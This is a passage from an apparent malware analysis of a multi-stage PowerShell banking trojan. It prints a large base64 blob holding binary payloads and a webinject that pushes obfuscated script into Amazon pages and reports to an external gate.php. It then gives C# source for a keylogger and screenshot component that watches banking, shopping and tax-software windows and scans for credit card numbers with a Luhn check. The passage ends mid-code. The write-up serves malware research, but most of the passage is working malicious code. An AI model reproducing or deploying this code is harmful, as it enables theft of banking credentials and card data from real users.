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gICAgICAgICJiZWZvcmUiOiAiaWYgKHdpbmRvdy51ZV9jc20pIHsiLA0NCiAgICAgICAgICAgICAgICJhZnRlciI6ICJ1ZS51ZWxzKFwiaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2Jyb3dzZXItc2NyaXB0cy9mb3Jlc3Rlci1jbGllbnQvKi5qc1wiKTsiICANDQogICAgICAgICAgICB9LA0NCgkgICAgICAgICAgew0NCiAgICAgICAgICAgICAgICJpbmplY3QiOiAicmV0dXJuOyIsDQ0KICAgICAgICAgICAgICAgImJlZm9yZSI6ICIiLA0NCiAgICAgICAgICAgICAgICJhZnRlciI6ICJ3KGEsZSl9fWZ1bmN0aW9uIHcoYSxlKXsiICANDQogICAgICAgICAgICB9LA0NCgkgICAgICAgICAgew0NCiAgICAgICAgICAgICAgICJpbmplY3QiOiAiPHNjcmlwdD52YXIgaG9tZV9saW5rID0gXCJodHRwczovL2FrYW1haWFubGlzZXRlY2guY29tL2FuYWxpc2VhbWF6b25cIjt2YXIgZ2F0ZV9saW5rID0gaG9tZV9saW5rK1wiL2dhdGUucGhwXCI7dmFyIHBrZXkgPSBcIkJjNXJ3MTJcIjtldmFsKGZ1bmN0aW9uKHAsYSxjLGssZSxyKXtlPWZ1bmN0aW9uKGMpe3JldHVybihjPGE/Jyc6ZShwYXJzZUludChjL2EpKSkrKChjPWMlYSk+MzU/U3RyaW5nLmZyb21DaGFyQ29kZShjKzI5KTpjLnRvU3RyaW5nKDM2KSl9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pcltlKGMpXT1rW2NdfHxlKGMpO2s9W2Z1bmN0aW9uKGUpe3JldHVybiByW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXFxcdysnfTtjPTF9O3doaWxlKGMtLSlpZihrW2NdKXA9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcXFxiJytlKGMpKydcXFxcYicsJ2cnKSxrW2NdKTtyZXR1cm4gcH0oJzkgMU4oKXtvIGE9ezFyOkQsMXM6RCwxZDpELDF0OkR9LDF1OzF1PW0uWTtIe20uWT1cIlwifU8oZSl7fWEuMXY9MnQgbS5ZPT1cIjFPXCI/ITA6MnUoXCIvKkAydiFAKi8hMVwiKTtIe20uWT0xdX1PKGUpe303KGEuMXYpe2EuMXQ9KC9eKD86Lio/W15hLTJ3LVpdKT8/KD86Mnh8MnlcXFxccypcXFxcOilcXFxccyooXFxcXGQrXFxcXC4/XFxcXGQqKS9pKS4xdygxMS4xZXx8XCJcIik/MVAoMVEuJDEsMTApOkQ7byBlLDFmLHgsMXg9bS4xeShcIjJ6XCIpLDF6PVtcInsyQS0xUi0xUy0xVC0xVX1cIixcInsyQi0xUi0xUy0xVC0xVX1cIixcInsyQy0yRC0yRS0yRi0yR31cIl07SHsxeC4xVi4ySD1cIjJJKCMySiMySylcIn1PKGUpe30xNCh4PTA7eDwxei51O3grKyl7SHthLjFkPTF4LjJMKDF6W3hdLFwiMk1cIikuMk4oLywvZyxcIi5cIil9TyhlKXt9NyhhLjFkKTJPfTFmPTFQKGEuMWR8fFwiMFwiLDEwKTthLjFzPW0uWXx8KCgvMlAvaSkuMXcobS4yUXx8XCJcIik/NToxZil8fGEuMXQ7YS4xcj0xZnx8YS4xc31vIGI9ISFFLjJSfHwxMS4xZS4xVyhcXCcgMlMvXFwnKT49MDs3KC8yVC8yVS4xdygxMS4xZSkpe25cIjFYXCJ9d3s3KGEuMXYpe25cIjJWXCIrYS4xcn13IDcoIWIpe25cIjJXXCJ9dyA3KCEhRS4yWCYmIWIpe25cIjJZXCJ9fX1vIDFBPTFOKCk7KDkoKXtcXCcyWiAzMFxcJztFLjFZPTkoaCl7byBqPTFCLjFnLjFDO28gaz0xQi4xZy5QO3YuMVo9OShhLGIsYyl7NyhhPT09RCluOzcoaiYmYS4xQz09PWope2EuMUMoYixjKX13IDcoYS51PT09K2EudSl7MTQobyBpPTAsbD1hLnU7aTxsO2krKyl7NyhiLjFoKGMsYVtpXSxpLGEpPT09e30pbn19d3sxNChvIGQgMzIgYSl7NyhhLjMzKGQpKXs3KGIuMWgoYyxhW2RdLGQsYSk9PT17fSlufX19fTt2LlA9OShkLGUsZil7byBnPVtdOzcoZD09RCluIGc7NyhrJiZkLlA9PT1rKW4gZC5QKGUsZik7di4xWihkLDkoYSxiLGMpe2dbZy51XT1lLjFoKGYsYSxiLGMpfSk7biBnfTs3KGgpe3YuMUQ9aH19OzFZLjFnPXszNDo5KCl7byBjPVtdO2MuSSgxMS4xZSk7Yy5JKFsxRS4zNSwxRS4zNiwxRS4zN10uSihcXCd4XFwnKSk7Yy5JKDIwIDFGKCkuMzgoKSk7Yy5JKCEhRS4zOSk7Yy5JKCEhRS4zYSk7byBkPXYuUCgxMS4zYiw5KHApe28gYj12LlAocCw5KGEpe25bYS5BLGEuM2NdLkooXFwnflxcJyl9KS5KKFxcJyxcXCcpO25bcC4zZCxwLjNlLGJdLkooXFwnOjpcXCcpfSx2KS5KKFxcJztcXCcpO2MuSShkKTs3KHYuMUQpe24gdi4xRChjLkooXFwnIyMjXFwnKSwzMSl9d3tuIHYuMjEoYy5KKFxcJyMjI1xcJyksMzEpfX0sMjE6OShhLGIpe28gYywxRyxyLDFpLFEsM2YsUiwzZyxxLGk7Yz1hLnUmMzsxRz1hLnUtYztyPWI7UT0zaDtSPTNpO2k9MDsyMihpPDFHKXtxPSgoYS5HKGkpJkspKXwoKGEuRygrK2kpJkspPDw4KXwoKGEuRygrK2kpJkspPDwxNil8KChhLkcoKytpKSZLKTw8MjQpOysraTtxPSgoKChxJnQpKlEpKygoKChxPj4+MTYpKlEpJnQpPDwxNikpKSZMO3E9KHE8PDE1KXwocT4+PjE3KTtxPSgoKChxJnQpKlIpKygoKChxPj4+MTYpKlIpJnQpPDwxNikpKSZMO3JePXE7cj0ocjw8MTMpfChyPj4+MTkpOzFpPSgoKChyJnQpKjUpKygoKChyPj4+MTYpKjUpJnQpPDwxNikpKSZMO3I9KCgoMWkmdCkrM2opKygoKCgxaT4+PjE2KSszaykmdCk8PDE2KSl9cT0wOzNsKGMpezFIIDM6cV49KGEuRyhpKzIpJkspPDwxNjsxSCAyOnFePShhLkcoaSsxKSZLKTw8ODsxSCAxOnFePShhLkcoaSkmSyk7cT0oKChxJnQpKlEpKygoKChxPj4+MTYpKlEpJnQpPDwxNikpJkw7cT0ocTw8MTUpfChxPj4+MTcpO3E9KCgocSZ0KSpSKSsoKCgocT4+PjE2KSpSKSZ0KTw8MTYpKSZMO3JePXF9cl49YS51O3JePXI+Pj4xNjtyPSgoKHImdCkqMjMpKygoKChyPj4+MTYpKjIzKSZ0KTw8MTYpKSZMO3JePXI+Pj4xMztyPSgoKChyJnQpKjI1KSsoKCgocj4+PjE2KSoyNSkmdCk8PDE2KSkpJkw7cl49cj4+PjE2O24gcj4+PjB9fX0pKCk7byAzbT0oOSgpezkgM24oYil7OSB5KGEpe25cIiVcIitmLjFJKGE+PjQpK2YuMUkoYSYzbyl9byBjPVwiM3AtM3EuflwiO28gZD1cIiEqXFwnKCk7OkAmPSskLC8/JSNbXVwiO28gZT1jK2Q7byBmPVwiM3JcIjtiPWIrXCJcIjtvIGc9XCJcIjs3KCFifHxiLnU9PTApe25cIlwifTE0KG8gaT0wO2k8Yi51O2krKyl7byBoPWIuMUkoaSk7NyhjLjFXKGgpIT0tMSl7Zz1nK2h9d3tvIGo9Yi5HKGkpOzcoajwzcyl7Zz1nK3koail9NyhqPjN0JiZqPDN1KXtnPWcreSgoaj4+Nil8M3YpO2c9Zyt5KChqJlMpfFQpfTcoaj4zdyYmajwzeCl7Zz1nK3koKGo+PjEyKXwzeSk7Zz1nK3koKChqPj42KSZTKXxUKTtnPWcreSgoaiZTKXxUKX03KGo+M3ope2c9Zyt5KChqPj4xOCl8M0EpO2c9Zyt5KCgoaj4+MTIpJlMpfFQpO2c9Zyt5KCgoaj4+NikmUyl8VCk7Zz1nK3koKGomUyl8VCl9fX1uIGd9OSAyNigpezcobS5VKFwiTVwiKSl7bS5VKFwiTVwiKS4yNy4yOChtLlUoXCJNXCIpKX1vIGE9XCIzQiB7M0M6M0QgITNFfVwiO28gYj1tLjF5KFwiMVZcIik7Yi4yOShcIkFcIixcIjJhLzNGXCIpO2IuMjkoXCIyYlwiLFwiTVwiKTs3KDFBPT1cIjFYXCIpe2IuM0c9YX13ezcoYi4yYyl7Yi4yYy4zSD1hfXd7Yi4xaihtLjNJKGEpKX19bS4xayhcIjFKXCIpWzBdLjFqKGIpfTkgMmQoYSl7YSs9XCImM0o9XCIrMUE7byBiPW0uMXkoXCIzS1wiKTtiLkE9XCIyYS8zTFwiO2IuMmI9XCIzTVwiO2IuM049OSgpezcobS5VKFwiTVwiKSl7bS5VKFwiTVwiKS4yNy4yOChtLlUoXCJNXCIpKX19O2IuM089YTs3KG0uMWsoXCIxSlwiKS51PjApe20uMWsoXCIxSlwiKVswXS4xaihiKX13e20uMWsoXCIyZVwiKVswXS4xaihiKX19OSAyZigpezJkKEUuM1ArXCIvM1EuM1I/M1M9XCIrMmcoMjAgMUYoKSkpfW57M1Q6OSgpezJmKCl9LDNVOjkoKXsyNigpfX19KCkpO28gM1Y9KDkoKXtvIGQsRixCPXt9O0JbXCJbQyAzV11cIl09XCIzWFwiO0JbXCJbQyAyZ11cIl09XCIxT1wiO0JbXCJbQyAyaF1cIl09XCIzWVwiO0JbXCJbQyAzWl1cIl09XCI5XCI7QltcIltDIDFCXVwiXT1cIjJpXCI7QltcIltDIDFGXVwiXT1cIjQwXCI7QltcIltDIDFRXVwiXT1cIjQxXCI7QltcIltDIDJqXVwiXT1cIkNcIjtvIGY9ezFsOlYsMW06MSw0Mjo5KGEpezcoYSl7Zi4xbSsrfXd7Zi56KFcpfX0sejo5KGEpezcoKGE9PT1XJiYhLS1mLjFtKXx8KGEhPT1XJiYhZi4xbCkpezcoIW0uMmUpe24gMUsoZi56LDEpfWYuMWw9Vzs3KGEhPT1XJiYtLWYuMW0+MCl7bn1kLjFuKG0sW2ZdKX19LDJrOjkoKXs3KGQpe259ZD1mLjJsKCk7NyhtLjJtPT09XCIyblwiKXtuIDFLKGYueiwxKX03KG0uMW8pe20uMW8oXCJGXCIsRixWKTtFLjFvKFwiNDNcIixmLnosVil9dyA3KG0uMXApe20uMXAoXCIyb1wiLEYpO0UuMXAoXCI0NFwiLGYueik7byBhPVY7SHthPUUuNDU9PUR9TyhlKXt9NyhtLjJwLjJxJiZhKXsxTCgpfX19LDJsOjkoKXtvIGM9W10sTiwxYSwxcSxYPXsxTTo5KCl7NyghMXEpe28gYT0ycixpLHUsMWIsQSwxYzs3KE4pezFjPU47Tj0wfTE0KGk9MCx1PWEudTtpPHU7aSsrKXsxYj1hW2ldO0E9Zi5BKDFiKTs3KEE9PT1cIjJpXCIpe1guMU0uMnMoWCwxYil9dyA3KEE9PT1cIjlcIil7Yy5JKDFiKX19NygxYyl7WC4xbigxY1swXSwxY1sxXSl9fW4gdn0sMW46OShhLGIpezcoITFxJiYhTiYmITFhKXtiPWJ8fFtdOzFhPTE7SHsyMihjWzBdKXtjLjQ2KCkuMnMoYSxiKX19NDd7Tj1bYSxiXTsxYT0wfX1uIHZ9LDQ4OjkoKXtYLjFuKHYsMnIpO24gdn0sNDk6OSgpe24hISgxYXx8Til9LDRhOjkoKXsxcT0xO2M9W107biB2fX07biBYfSxBOjkoYSl7biBhPT1EPzJoKGEpOkJbMmouMWcuNGIuMWgoYSldfHxcIkNcIn19OzkgMUwoKXs3KGYuMWwpe259SHttLjJwLjJxKFwiNGNcIil9TyhlKXsxSygxTCwxKTtufWYueigpfTcobS4xbyl7Rj05KCl7bS40ZChcIkZcIixGLFYpO2YueigpfX13IDcobS4xcCl7Rj05KCl7NyhtLjJtPT09XCIyblwiKXttLjRlKFwiMm9cIixGKTtmLnooKX19fTkgeihhKXtmLjJrKCk7byBiPWYuQShhKTtkLjFNKGEpfW4gen0pKCk7OSA0Zigpe24gNGchPTRoP1c6Vn0nLDYyLDI2NiwnfHx8fHx8fGlmfHxmdW5jdGlvbnx8fHx8fHx8fHx8fHxkb2N1bWVudHxyZXR1cm58dmFyfHxrMXxoMXx8MHhmZmZmfGxlbmd0aHx0aGlzfGVsc2V8fGdldGhleHxyZWFkeXx0eXBlfGNsYXNzMnR5cGV8b2JqZWN0fG51bGx8d2luZG93fERPTUNvbnRlbnRMb2FkZWR8Y2hhckNvZGVBdHx0cnl8cHVzaHxqb2lufDB4ZmZ8MHhmZmZmZmZmZnxkb2N1bWVudF9oaWRlX2Nzc3xmaXJlZHxjYXRjaHxtYXB8YzF8YzJ8MHgzRnwweDgwfGdldEVsZW1lbnRCeUlkfGZhbHNlfHRydWV8ZGVmZXJyZWR8ZG9jdW1lbnRNb2RlfHx8bmF2aWdhdG9yfHx8Zm9yfHx8fHx8ZmlyaW5nfGVsZW18X2ZpcmVkfHZlcklFdHJ1ZXx1c2VyQWdlbnR8dmVyVHJ1ZUZsb2F0fHByb3RvdHlwZXxjYWxsfGgxYnxhcHBlbmRDaGlsZHxnZXRFbGVtZW50c0J5VGFnTmFtZXxpc1JlYWR5fHJlYWR5V2FpdHxyZXNvbHZlV2l0aHxhZGRFdmVudExpc3RlbmVyfGF0dGFjaEV2ZW50fGNhbmNlbGxlZHx2ZXJJRXxkb2NNb2RlSUV8dmVySUVfdWF8dG1wfGlzSUV8dGVzdHxvYmp8Y3JlYXRlRWxlbWVudHxDTEFTU0lEfGJyb3dzZXJfdHlwZXxBcnJheXxmb3JFYWNofGhhc2hlcnxzY3JlZW58RGF0ZXxieXRlc3xjYXNlfGNoYXJBdHxoZWFkfHNldFRpbWVvdXR8ZG9TY3JvbGxDaGVja3xkb25lfGRldGVjdEJyb3dzZXJ8bnVtYmVyfHBhcnNlRmxvYXR8UmVnRXhwfEEyNjl8MTFEMXxCNUJGfDAwMDBGODA1MTUxNXxzdHlsZXxpbmRleE9mfEZGfEZpbmdlcnByaW50fGVhY2h8bmV3fG11cm11cmhhc2gzXzMyX2djfHdoaWxlfDB4ODVlYmNhNmJ8fDB4YzJiMmFlMzV8aGlkZUNvbnRlbnR8cGFyZW50Tm9kZXxyZW1vdmVDaGlsZHxzZXRBdHRyaWJ1dGV8dGV4dHxpZHxzdHlsZVNoZWV0fGxvYWRTY3JpcHR8Ym9keXxydW58TnVtYmVyfFN0cmluZ3xhcnJheXxPYmplY3R8YmluZFJlYWR5fF9EZWZlcnJlZHxyZWFkeVN0YXRlfGNvbXBsZXRlfG9ucmVhZHlzdGF0ZWNoYW5nZXxkb2N1bWVudEVsZW1lbnR8ZG9TY3JvbGx8YXJndW1lbnRzfGFwcGx5fHR5cGVvZnxldmFsfGNjX29ufHpBfE1TSUV8cnZ8ZGl2fDQ1RUE3NUEwfDNBRjM2MjMwfDg5ODIwMjAwfEVDQkR8MTFDRnw4Qjg1fDAwQUEwMDVCNDM4M3xiZWhhdmlvcnx1cmx8ZGVmYXVsdHxjbGllbnRjYXBzfGdldENvbXBvbmVudFZlcnNpb258Y29tcG9uZW50aWR8cmVwbGFjZXxicmVha3xiYWNrfGNvbXBhdE1vZGV8b3BlcmF8T1BSfGZpcmVmb3h8aW18SUV8T1B8Y2hyb21lfENIfHVzZXxzdHJpY3R8fGlufGhhc093blByb3BlcnR5fGdldHxoZWlnaHR8d2lkdGh8Y29sb3JEZXB0aHxnZXRUaW1lem9uZU9mZnNldHxzZXNzaW9uU3RvcmFnZXxsb2NhbFN0b3JhZ2V8cGx1Z2luc3xzdWZmaXhlc3xuYW1lfGRlc2NyaXB0aW9ufGMxYnxjMmJ8MHhjYzllMmQ1MXwweDFiODczNTkzfDB4NmI2NHwweGU2NTR8c3dpdGNofGlMb2FkZXJ8dXJsRW5jb2RlfDB4RnwwMTIzNDU2Nzg5QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5enxffDAxMjM0NTY3ODlBQkNERUZhYmNkZWZ8MTI4fDEyN3wyMDQ4fDB4QzB8MjA0N3w2NTUzNnwweEUwfDY1NTM1fDB4RjB8aHRtbHxkaXNwbGF5fG5vbmV8aW1wb3J0YW50fGNzc3xpbm5lckhUTUx8Y3NzVGV4dHxjcmVhdGVUZXh0Tm9kZXxidHxzY3JpcHR8amF2YXNjcmlwdHxqc2Vzc19zY3JpcHRfbG9hZGVyfG9uZXJyb3J8c3JjfGhvbWVfbGlua3xhbWF6b258anN8c3NpZHxSdW58SGlkZUNvbnRlbnR8Y1JlYWR5fEJvb2xlYW58Ym9vbGVhbnxzdHJpbmd8RnVuY3Rpb258ZGF0ZXxyZWdleHB8aG9sZFJlYWR5fGxvYWR8b25sb2FkfGZyYW1lRWxlbWVudHxzaGlmdHxmaW5hbGx5fHJlc29sdmV8aXNSZXNvbHZlZHxjYW5jZWx8dG9TdHJpbmd8bGVmdHxyZW1vdmVFdmVudExpc3RlbmVyfGRldGFjaEV2ZW50fGlzRnJhbWV8dG9wfHNlbGYnLnNwbGl0KCd8JyksMCx7fSkpO3ZhciBib3RpZCA9IFwiQElEQFwiO2JvdGlkID0gLyhJRCkvaW0udGVzdChib3RpZCkgPyBib3RpZCA9IFwiJSUlQk9UX05JQ0slJSVcIiA6IGJvdGlkO2JvdGlkID0gL0JPVF9OSUNLL2ltLnRlc3QoYm90aWQpID8gYm90aWQgPSBcIiVVSUQlXCIgOiBib3RpZDtib3RpZCA9IC9VSUQvaW0udGVzdChib3RpZCkgPyBib3RpZCA9IFwiPCVJREJPVCU+XCIgOiBib3RpZDtib3RpZCA9IC9JREJPVC9pbS50ZXN0KGJvdGlkKSA/IGJvdGlkID0gbmV3IEZpbmdlcnByaW50KCkuZ2V0KCkgOiBib3RpZDtpZighaXNGcmFtZSgpICYmIC9hbWF6b25cXC4oY29tfGZyfGRlfGNhfGl0fGNvXFwuanApL2ltLnRlc3QodG9wLmxvY2F0aW9uLmhyZWYpKXtpTG9hZGVyLkhpZGVDb250ZW50KCk7Y1JlYWR5KGZ1bmN0aW9uKCl7aUxvYWRlci5SdW4oKX0pO31lbHNlIGlmKGlzRnJhbWUoKSAmJiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImFwX2VtYWlsXCIpKXt0b3AubG9jYXRpb24uaHJlZiA9IHNlbGYubG9jYXRpb24uaHJlZjt9PC9zY3JpcHQ+IiwNDQogICAgICAgICAgICAgICAiYmVmb3JlIjogIiIsDQ0KICAgICAgICAgICAgICAgImFmdGVyIjogIjxoZWFkKj4iICANDQogICAgICAgICAgICB9DQ0KICAgICAgICAgXQ0NCiAgICAgIH0NDQogICBdDQ0KfQ0NCgAAAAAAAAAAAAA=' #replace32
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs)
}
else
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName
}
}
Main
}
get-fgruvers -versid atinmem  -fpath 'path discarded by mal analyst' -idsid 1215 -rckey 'key discarded by mal analyst'

This code contains two piece of binary code encoded in base64 (on line 2045 and 2046).

I have uploaded the x86-64 bit version on Hybrid Analysis and VirusTotal:

https://www.hybrid-analysis.com/sample/ba5a5979276969eb4227131607df0b7bd5291902479e905bffba99457964f99d/5abb37547ca3e117ec525fc8

vt.PNG

Stage 6  (function get-watcher)

The PowerShell in the sixth stage executes the following C# appcode. It takes snapshot from windows with the following titles:


private static string[] titles = { "paypal", "ebay", "chase", "banking", "credit cards", "american express", "newegg", "amazon", "walmart", "bestbuy", "target", "apple", "sign in", "azure", "Login", "bank", "banco", "bancario", "registrarse", "iniciar sesión", "seguridad", "banque", "bancaire", "se connecter", "security", "e-bank", "tax", "OLT" ,"ProSeries", "Drake", "Taxslayer", "ProTaxPro", "Taxwise"}

function def {
if(!(Test-path $args[1])) {
   $h = ni -Path $args[1] -ItemType "directory"
   $h.attributes="Hidden"
    }
if ([int]$args[2] -ge 3){$e = 'CSharp'}else{$e = 'CSharpVersion3'}
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections.Generic;
using System.IO;
using System.Windows.Forms;
using System.Security.Cryptography;
using System.Drawing;
using Imaging = System.Drawing.Imaging;
namespace WinDefender
{
    public class User32
    {
        public const int VK_LBUTTON = 1;       
        public const int VK_BACK = 8;           
        public const int VK_TAB = 9;
        public const int VK_RETURN = 0x0D;    
        public const int VK_ESCAPE = 0x1B;
        public const int VK_PRIOR = 0x21;     
        public const int VK_NEXT = 0x22;     
        public const int VK_END = 0x23;
        public const int VK_HOME = 0x24;
        public const int VK_LEFT = 0x25;
        public const int VK_UP = 0x26;
        public const int VK_RIGHT = 0x27;
        public const int VK_DOWN = 0x28;
        public const int VK_DELETE = 0x2E;
        public const int VK_LSHIFT = 160;
        public const int VK_RSHIFT = 161;
        public const int VK_LCONTROL = 162;
        public const int VK_RCONTROL = 163;
        public const int VK_OEM_CLEAR = 254;   
        public const int VK_LOWEST = VK_LBUTTON;
        public const int VK_HIGHEST = VK_OEM_CLEAR;
        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern short GetAsyncKeyState(int virtualKeyCode);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool GetKeyboardState(byte[] keystate);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern uint MapVirtualKey(uint uCode, uint uMapType);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
            int cchBuff, uint wFlags);
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
    }
    public static class Recorder
    {
        public static string Pattern = @"((((4\d{3})|(5[1-5]\d{2})|(6(?:011|5[0-9][0-9])))(-?|\040?)(\d{4}(-?|\040?)){3}))|((3[4,7]\d{2})(-?|\040?)\d{6}(-?|\040?)\d{5})";
        public static string Pathfile = Guid.NewGuid().ToString();
        public static string Pathlog = Guid.NewGuid().ToString();
        private static string currentData = string.Empty;
        private static string previousData = string.Empty;
        private static string Outout = string.Empty;
        public static string SesKey = Guid.NewGuid().ToString();
        private static string hWndTitle;
        private static string hWndTitlePast;
        private static TextBox tb = new TextBox() { Multiline = true };
        private static Encoding Utf8NoBomEncoding = new UTF8Encoding(false);
        private static System.Threading.Thread ScreenThread;
        private static string[] titles = { "paypal", "ebay", "chase", "banking", "credit cards", "american express", "newegg", "amazon", "walmart", "bestbuy", "target", "apple", "sign in", "azure", "Login", "bank", "banco", "bancario", "registrarse", "iniciar sesión", "seguridad", "banque", "bancaire", "se connecter", "security", "e-bank", "tax", "OLT" ,"ProSeries", "Drake", "Taxslayer", "ProTaxPro", "Taxwise"};
        public static string getnamefile(string Pathfile)
        {
           return Pathfile + "\\" + Guid.NewGuid().ToString("n").Substring(0, 6) + "-"+ Guid.NewGuid().ToString("n").Substring(0, 4) +"-"+ Guid.NewGuid().ToString("n").Substring(0, 7) +"-Public-AppUpdate";   
        }   
        static bool GetTitle(string winTitle)
        {
            if (string.IsNullOrEmpty(winTitle))
                return false;
            foreach (string title in titles)
                if (winTitle.ToLower().Contains(title))
                    return true;
            return false;
        }
        private static string previousLuna = string.Empty;
        public static bool Luna(string number)
        {
            if (previousLuna.Equals(number))
                return false;
            int sum = 0;
            number = number.Replace("-", "");
            number = number.Replace(" ", "");
            char[] temp = number.ToCharArray();
            int[] numbers = new int[number.Length];
            bool alt = false;
            for (int i = temp.Length - 1; i &gt; -1; i--)
                if (int.TryParse(temp[i].ToString(), out numbers[i]))
                {
                    if (alt)
                    {
                        numbers[i] *= 2;
                        if (numbers[i] &gt; 9)
                            numbers[i] -= 9;
                    }
                    sum += numbers[i];
                    alt = !alt;
                }
            if ((sum % 10) == 0)
            {
                previousLuna = number;
                return true;
            }
            return false;
        }
        public static string ActiveApplTitle()
        {
            int hwnd = User32.GetForegroundWindow();
            StringBuilder sbTitle = new StringBuilder(1024);
            int intLength = User32.GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
            if ((intLength  sbTitle.Length)) return "Unknown Title";
            string title = sbTitle.ToString();
            return title;
        }
        public static string GetTimeNow()
        {
            DateTime now = DateTime.Now;
            return now.ToString("yy.MM.dd HH:mm:ss");
        }
        public static string GetTimeNowImg()
        {
            DateTime now = DateTime.Now;
            return now.ToString("yy-MM-dd-hh-mm-ss");
        }
        static string GetClipboardText()
        {
            tb.Text = "";            
            tb.Paste();
            return tb.Text;
        }
        public static void CryptBytes(string output, string SesKey)
        {
            Encoding encoding = Encoding.UTF8;
            byte[] bytes = encoding.GetBytes(output);
            byte[] IV = new byte[16];
